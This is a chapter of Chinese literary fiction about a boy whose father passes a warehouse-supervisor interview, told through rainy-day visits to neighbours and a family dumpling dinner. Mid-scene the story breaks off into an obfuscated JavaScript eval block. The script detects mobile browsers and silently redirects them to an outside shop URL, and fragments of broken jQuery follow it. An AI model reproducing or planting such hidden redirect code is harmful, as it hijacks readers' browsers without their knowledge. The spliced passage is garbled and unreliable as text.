孙志远的面试在星期三。
星期三一大早下了一场雨，不算大，细细密密的，把巷子里积了小半个月的土腥气全激了起来。孙小六趴在窗台上往下看，雨点落在楼下的铁皮棚子上，叮叮当当的，像无数颗小钉子同时被锤子敲着。他爸出门的时候没打伞，走到巷子口那棵槐树底下停了一下，把衬衫领子竖起来，然后拐了个弯，看不见了。白衬衫在灰蒙蒙的雨里，最后一晃的那一下，像一只扑棱着翅膀的鸟。
孙小六在窗台上趴了很久。他妈在厨房里下面条，他听见水开了的声音，锅盖被热气顶起来又落下去，磕磕磕的。他应该去帮忙摆碗筷，但他没有动。他在想他爸刚才拐弯时的那个背影。右肩比左肩低一点，走路的时候身体微微往右偏。他以前没注意过这个。他爸走路的样子，原来和老周一样。这个发现让他心里堵了一下——不是难受，是一种说不清的、像被什么东西轻轻按了一下的感觉。
去年九月他刚搬到这儿的时候，每天早上站在镜子前面看自己。镜子裂了一道缝，把他的脸切成两半。那时候他觉得那两半是不一样的。一半是外国语学校的孙小六，穿白色polo衫，左胸口绣着校徽。另一半是城西中学的孙小六，穿洗得发白的旧T恤，领口松垮垮的，锁骨下面有一个洗不掉的油点。两半拼不到一起。现在他知道了，不是拼不到一起，是不用拼。本来就是一个人。
雨小了一些的时候，他下了楼。经过二楼拐角，那面贴满小广告的墙上又多了新的字。用黑色记号笔写的，字很大，歪歪扭扭的。他扫了一眼，没有停。去年九月他第一次看见这面墙的时候，站在那儿看了很久。那些脏话像针一样扎眼睛。现在它们还在，但他的眼睛已经不疼了。不是习惯了，是知道往哪儿看了。
修鞋摊的遮阳伞撑着，蒋师傅没坐在伞底下。他站在门洞口，手里拿着搪瓷杯，看着伞面上的雨珠子。雨珠子顺着伞骨往下滚，滚到弯折的地方停一停，攒够了再往下掉。红色的伞面被雨打湿了，颜色变深了，像一块吸饱了水的红布。孙小六在塑料桶上坐下来。桶面上垫着的泡沫板是湿的，坐上去凉凉的，那股凉意从大腿传上来，让他打了个激灵。
“你爸今天面试。”蒋师傅说。不是问句。
“嗯。”
蒋师傅喝了一口茶。茶是新的，热气从他脸前升起来，把他的五官罩在一层薄薄的白雾后面。“考上了，他就不用自己搬货了。管人比搬货累。搬货累身子，管人累心。”他把搪瓷杯放下。“但你爸扛得住。能扛事的人，累不垮。”
孙小六把手伸进口袋里。火柴盒在，铁皮被体温捂热了。他没有拿出来，隔着口袋摸了摸火柴盒的边缘。四个角磨圆了，铁皮上那个红色的商标图案已经彻底看不清了，只剩一团模糊的红色。他摸着那团红色，想起他爸笔记本上那张仓库平面图。蓝色进货通道，红色出货通道，绿色消防通道。绿色通道尽头那个红色方框里写着“备用”——他爸说，那个位置准备放一张桌子，不放货，谁累了谁坐那儿歇一会儿。后门外面画了一棵树。他爸画的那棵树不像槐树，树干太细，树冠太大，像一朵蘑菇。但他知道那是槐树。
“蒋师傅，我爸画的那棵槐树，你说他能种活吗。”
蒋师傅把搪瓷杯放在铁皮箱子上。杯底碰在铁皮上，发出轻轻的一声。“种不种活不重要。画在那儿了，就是种在那儿了。”他看着巷子口那棵槐树。雨把槐树叶子洗得发亮，每一片都绿得像上了一层釉。“那棵槐树是你陈奶奶跟她老伴结婚那年种的。种下去的时候拇指粗，挖坑挖到一半挖不动了，底下是碎砖烂瓦。她老伴借了根钢钎，一下一下撬了一下午。撬出一个坑，把树苗放进去，培上土，浇了水。他说，这棵树要是活了，咱们就在这儿扎根。”
他的手放在铁皮箱子上，手指微微蜷着。“活了。他走了以后，她每年槐花开的时候都到树底下站一会儿。站一会儿就走。不是看花，是看树活着。树活着，根就在。”
孙小六看着巷子口那棵槐树。雨丝斜斜地飘过去，落在叶子上，叶子抖一下，把雨珠弹开了。树干上刻了很多字，最旧的那些被树皮撑开了，裂成一道一道的。陈浩刻的那行字还在——“妈，少走点路。”刻痕很浅，被雨水灌满了，在灰蒙蒙的光里亮了一下，像一道眯起来的眼睛。
他忽然想起一件事。去年九月第一天走进城西中学的教室，四十多双眼睛落在他身上。那时候他穿着外国语学校的白色polo衫，左胸口绣着校徽。后排有人吹了声口哨，说“哟，私立的”。他把校徽从书包拉链上摘下来，塞进口袋里。那枚校徽现在别在他书包内侧的里衬上，金属的，凉凉的。他已经很久没有摸过它了。不是因为忘了，是因为不用摸了。他知道它在。
雨停了。
孙小六站起来，沿着巷子往陈浩家走。巷子里的积水映着天，天还是灰的，云没散。他踩过一个水洼，水面上的天空碎了一瞬，又合拢了。他低头看了一眼自己的右脚——帆布鞋鞋头，那道黄色的胶痕还在，被白线圈着。白线磨起了毛，有些地方断了，但整体还在。胶痕在白线圈里安安静静地待着，像一块褪了色的痂被装进了一个小小的框。
陈浩家的门廊底下，老太太坐在藤椅上。她面前放着一个搪瓷碗，碗里是大半碗剥好的蒜瓣。蒜瓣在雨后的空气里泛着湿润的光，像一捧刚从水里捞出来的白石子。陈浩蹲在门槛上，手里拿着一颗蒜，剥得很慢。蒜皮在他脚边积了一小堆，被飘进来的雨打湿了，紫白色软塌塌地贴在地上。
老太太看见孙小六，把手伸进口袋里。摸出来的不是糖，是一片洗干净的箬叶。粽子早吃完了，箬叶她一直留着。她把箬叶展平了放在膝盖上，用手掌一下一下地抚着。箬叶被她抚得发亮，叶脉在雨后的光线里凸起着，像老年人手背上的血管。
“你爸今天面试。”她说。不是问句。
“嗯。”
她把箬叶叠好，放回口袋里。“浩浩他爷爷当年考实操的时候，回来跟我说，他把一箱货码歪了。歪了一寸。考官量出来了，扣了分。他说，明明码的时候看着是正的，怎么量出来是歪的。”她的手放在搪瓷碗上，手指微微蜷着。“后来他想了很久，想明白了。不是货码歪了，是他站歪了。他站的位置，看过去是正的。换一个位置看，就是歪的。”
她把手从碗上抬起来，看着孙小六。那层白翳后面的眼睛定定的。“你爸码货的时候，会换个位置看的。”
她说这话的时候，语气跟说“槐树的芽子鼓了”是一样的。不轻不重，不多不少。像在说一件已经发生了的事。
孙小六蹲下来，从搪瓷碗里拿起一颗蒜。蒜瓣凉凉的，表面有一层蒜汁干了之后留下的滑腻。他用拇指摸了摸蒜瓣上那个刻着的“六”字。刻痕很浅，“六”的那一捺拖得很长，刻的人刻到那里的时候刀滑了一下，像一个人走在雪地上脚底打滑，留下了一道比别人更深的脚印。他把蒜放回碗里，咚的一声。
“陈浩。”
陈浩抬起头。他的手指上全是蒜汁干涸后留下的白色痕迹，指甲缝里的淡紫色已经很淡很淡了。“干嘛。”
“你刻在槐树上的那行字，被雨水灌满了。”
陈浩低下头，继续剥蒜。剥了好几颗，才开口。“我知道。我早上路过的时候看见了。”他把一颗剥好的蒜放进碗里。“水满了就会流出来。流出来就空了。空了就会再满。树又不会死。”
他把蒜皮从膝盖上拂掉。蒜皮飘起来，落在门廊的积水里，打着旋。“刻在那儿，就是种在那儿了。”
孙小六从陈浩家出来的时候，天开始放晴了。云裂开一道缝，阳光从缝里漏下来，落在巷子里的积水上，把水洼照成一面一面金色的镜子。他踩着那些镜子走，镜子在他脚底下碎开，又在身后合拢。
走到巷子口那棵槐树底下的时候，他停下来。树干上，陈浩刻的那行字被雨水灌满了，水面平平的，映着他自己的脸。水里的脸被树皮的纹路切成一道一道的，像裂了的镜子。他看着水里那张脸。不是外国语学校的孙小六，也不是城西中学的孙小六。就是孙小六。右脚的鞋头那圈白线在水面的倒影里晃了一下。他低头看了看鞋，又抬头看了看树。
然后他继续走。
回到家，李婉正蹲在阳台上。绿萝的新藤蔓又长长了，最长那根垂到了二楼阳台的边缘，差一点就能够到。够不到，但它在往那个方向长。她没浇水，就是把那些藤蔓一根一根地捋顺。捋到那根最长的，她的手停了一下，然后把它搭在栏杆外面，让它垂着。
孙小六站在阳台门口，看着他妈的背影。她穿着超市的工作服，后背上印着“某某超市，您身边的好邻居”。那个“好”字被一道褶皱挡住了。他看了很久，然后走进厨房。锅里的面条坨了，他用筷子搅开，盛了一碗。西红柿鸡蛋卤已经凉了，他没热，直接浇在面上。坨了的面条被卤汁一泡，重新散开。他挑起一筷子，塞进嘴里。嚼着。
面条宽的地方厚，窄的地方薄。厚的劲道，薄的软滑。他嚼着，想起去年九月他妈第一次蒸的馒头。碱大了，发黄，糖粒子咯吱咯吱的。现在她不怎么放糖了，就是面的味道。嚼久了有甜味。不是糖的甜，是面本身的。他以前不知道面本身是甜的。现在知道了。
下午，孙志远回来了。
孙小六在房间里听见门响。他爸换鞋的声音，把钥匙放在鞋柜上的声音，走到阳台上蹲下来看绿萝的声音。然后是沉默。很长的沉默。
他从房间里走出来。孙志远蹲在阳台上，绿萝的藤蔓垂在他手边。他没有看绿萝，看着阳台外面。阳光从云缝里漏下来，照在他后背上。白色短袖衬衫的后背汗湿了一块，汗渍洇成一个不规则的圆。领口解开了第一颗扣子，袖口的扣子也解开了，往上挽了两圈。挽得不整齐，一圈宽一圈窄。
李婉站在厨房门口，手里拿着锅铲。锅铲上沾着油，她没有擦。她的嘴微微张着，像要问什么，但没有问出来。
孙志远从阳台上站起来，转过身。他的眼睛是红的。不是哭过的那种红，是拼命忍着没哭的那种红。他看着李婉，看了很久。
“考上了。”
三个字。声音哑得像砂纸擦过木头。
李婉的锅铲掉在地上。油溅在她的拖鞋上，她没有低头看。她站在那里，嘴唇动着，一个字都没说出来。然后她蹲下去捡锅铲。捡起来，又掉了。再捡起来，用围裙角擦着锅铲上的油。擦了很久。围裙角湿了一块，油没擦干净，反而抹开了。她把锅铲放在灶台上，转过身，背对着孙志远，把水龙头拧开。哗哗的水声充满了整个厨房。她站在水槽前面，肩膀一抖一抖的。
不是哭。是洗锅。
她把锅洗了一遍又一遍。洗了四遍。然后关上水龙头，用围裙擦干手。转过身，看着孙志远。她的眼睛也是红的。
“晚上包饺子。”她说。
孙小六站在房间门口，看着他爸和他妈。一个站在阳台上，一个站在厨房里。中间隔着整个客厅。客厅很小，几步就能走过去。但他们就那样站着，互相看着。阳光从阳台上照进来，把孙志远的影子投在地板革上。李婉站在影子的边缘，差一步就能够到。
孙小六走过去。不是走到他爸那儿，也不是走到他妈那儿。他走到茶几边上，把那把缺了角的玻璃杯拿起来，倒了三杯水。一杯放在茶几左边，一杯放在茶几右边，一杯放在中间。然后他在沙发上坐下来。
孙志远走过来，在茶几左边坐下来。李婉走过来，在茶几右边坐下来。三个人围着茶几，茶几上放着三杯水。水是凉的，杯壁上凝着一层细细的水珠。没有人喝。
“仓库副主管。”孙志远说。声音比刚才稳了一点。“一个月多六百。”
李婉把中间那杯水端起来，喝了一口。水从杯沿上洒出来一点，落在她的工作服上，洇出一个深色的小点。她把杯子放下。“够用了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510467|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
孙志远也端起一杯水。他喝水的时候，喉结滚动了一下。水咽下去的时候有声音，咕咚一声。“下个月一号上岗。管四个人，两个搬运工，两个理货员。都是老师傅。年纪比我大。”
李婉看着他。“他们服你吗。”
孙志远把杯子放下。杯底碰在茶几上，轻轻的一声。“服不服，干了才知道。”
孙小六端起最后一杯水。水是凉的，从喉咙一直凉到胃里。去年九月他第一次喝这个杯子里的水时，杯子还是完整的。后来不知道什么时候缺了一个角。缺角的位置被磨圆了，不再割嘴了。他喝水的时候，嘴唇正好贴在缺角上。凉凉的，滑滑的。
他把杯子放下。
“爸。仓库后门外面那棵树，你种了吗。”
孙志远看着他。看了好一会儿。然后他站起来，走进房间里，拿出那本软抄本。封面上的卡通熊被汗洇湿了，熊的脸皱成一团。他翻开，翻到那张仓库平面图。绿色通道尽头那个红色方框旁边，他用蓝笔添了一样东西——不是画上去的，是从别的纸上剪下来贴上去的。一小片绿萝叶子。他剪了阳台上绿萝最小的一片叶子，用透明胶布贴在平面图上。叶子在透明胶布底下微微卷着，边缘有一点干枯。
“种了。”
孙小六看着那片绿萝叶子。它贴在那儿，在蓝色通道、红色通道、绿色通道的尽头，在“备用”两个字的旁边。不是画上去的，是真的叶子。是从他家阳台上剪下来的。
他伸手摸了摸那片叶子。透明胶布下面是滑的，叶子在底下微微凸起。他的指尖停在叶子边缘干枯的那一小圈。干枯了，但还在长。
窗外，天彻底放晴了。阳光从阳台上照进来，把绿萝藤蔓的影子投在地板革上。影子晃着，一下一下的，像一只手在轻轻地招。
那天晚上，李婉真的包了饺子。韭菜鸡蛋馅的。韭菜是菜市场快收摊时买的，个不大，有的叶子黄了，她一根一根择干净了。鸡蛋是孙志远打的，筷子在碗沿上敲出均匀的、清脆的声音。他打鸡蛋的手法跟蒋师傅敲鞋钉不一样——蒋师傅是笃、笃、笃，每一下之间隔着一小段沉默。他是连续的，哒哒哒哒哒，像一列小火车从碗沿上开过去。
孙小六擀皮。他擀皮的手法是跟蒋师傅学缝鞋底之后才学会的——不是他妈教的，是自己会的。手记住了那个力道。擀面杖在面团上滚过去，不要太重，不要太轻。重了皮子粘在案板上，轻了擀不开。他找到了那个刚刚好的力道。擀出来的皮子圆的圆，椭圆的椭圆，有的边上厚中间薄，有的中间厚边上薄。但每一张都能用。
包饺子的时候，李婉把一张皮子托在手心里，放一勺馅，对折，中间捏一下，然后从两边往中间捏褶。她的手指很快，褶子一个挨一个，像蒋师傅缝鞋底的针脚。她包一个，放在盖帘上。盖帘上的饺子越摞越多，有的站着，有的歪着，有的馅从边上挤出来了，她用指甲把馅塞回去，再捏一下。
孙志远也包。他包得很慢，一个褶一个褶地捏。捏出来的褶子大大小小的，但饺子站得住。他把包好的饺子放在盖帘边上，和孙小六包的挨在一起。父子俩包的饺子歪歪扭扭地挤在一处，分不出来谁是谁的。
水开了。饺子下锅。白色的水蒸气从锅口升起来，充满了整个厨房。韭菜鸡蛋的味道混在水蒸气里，从厨房飘到客厅，从客厅飘到阳台。阳台上，绿萝的叶子被夜风一吹，微微抖着。最长那根藤蔓垂在栏杆外面，差一点就能够到二楼阳台的边缘。明天，或者后天，或者再下个星期，它就能够到了。
孙小六站在厨房门口，看着他爸把饺子从锅里捞出来。漏勺是旧的，竹柄被蒸汽熏得发黑。饺子盛在不锈钢碗里，碗沿上磕了好几个豁口。他把碗端到茶几上。三个碗，三双筷子。碗里的饺子挤在一起，热气腾腾的。
李婉夹起一个饺子，吹了吹，放进孙志远碗里。孙志远夹起来，咬开。韭菜鸡蛋的馅露出来，热气从馅里冒出来。他嚼了嚼，咽下去。
“咸了。”他说。
然后他把那个饺子吃完了。又夹了一个。
孙小六夹起一个饺子。皮是他擀的，有一点厚。他咬开，韭菜鸡蛋的馅流出来，烫得他舌尖一缩。韭菜切得很碎，鸡蛋炒得很嫩，皮虽然厚，但嚼着有劲道。他嚼着，想起老太太说的那句话——“你爸码货的时候，会换个位置看的。”他看了一眼孙志远。他爸正把第三个饺子往嘴里塞，腮帮子鼓着，嚼得很慢。他爸的右手上，搬货磨出来的茧在灯光下微微发亮。去年九月，这双手还是干净的，指甲缝里没有灰，指腹上没有茧。现在有了。茧的位置和蒋师傅握锥子的位置不一样，和老太太剥蒜的位置也不一样。是他自己的位置。
吃完饭，孙小六回到房间。他把语文课本翻开，翻到封底。小狗贴纸还在，翘着腿。八张糖纸夹在旁边，红的绿的黄的红的橙的黄红的草莓红。他把糖纸拿出来，一张一张铺在书桌上。八张小正方形，八种不同的颜色。他把它们按照时间顺序排好，然后从口袋里摸出今天的第九张——老太太下午给的，黄色的，菠萝味的。他把糖纸叠好，放进去。九张了。
他把火柴盒从口袋里拿出来。打开。蒋师傅的纸条，红薯皮碎片，一片绿萝叶子，一颗刻了“六”字的蒜瓣，一小截白线头。他把九张糖纸也放进去。火柴盒又满了一点。盖子盖上，铁皮微微鼓着。他把火柴盒攥在手心里。铁皮的温度比他的手低一点，凉凉的。他攥着，等它变热。
窗外，城中村的夜还是那些声音。发廊的霓虹灯修好了，又在一闪一闪了。楼下有人在打电话，方言，语气不像吵架，像在说一件很高兴的事。火车从远处经过，汽笛声拖得长长的。
他把火柴盒放回枕头底下。翻了个身，面朝墙壁。墙壁上那张旧报纸，那行字被他摸过太多次，“故乡不是一个地方，是一段回不去的时光。”他伸出指腹，摸到最后一个字——“光”。然后他把手收回来，放在被子外面。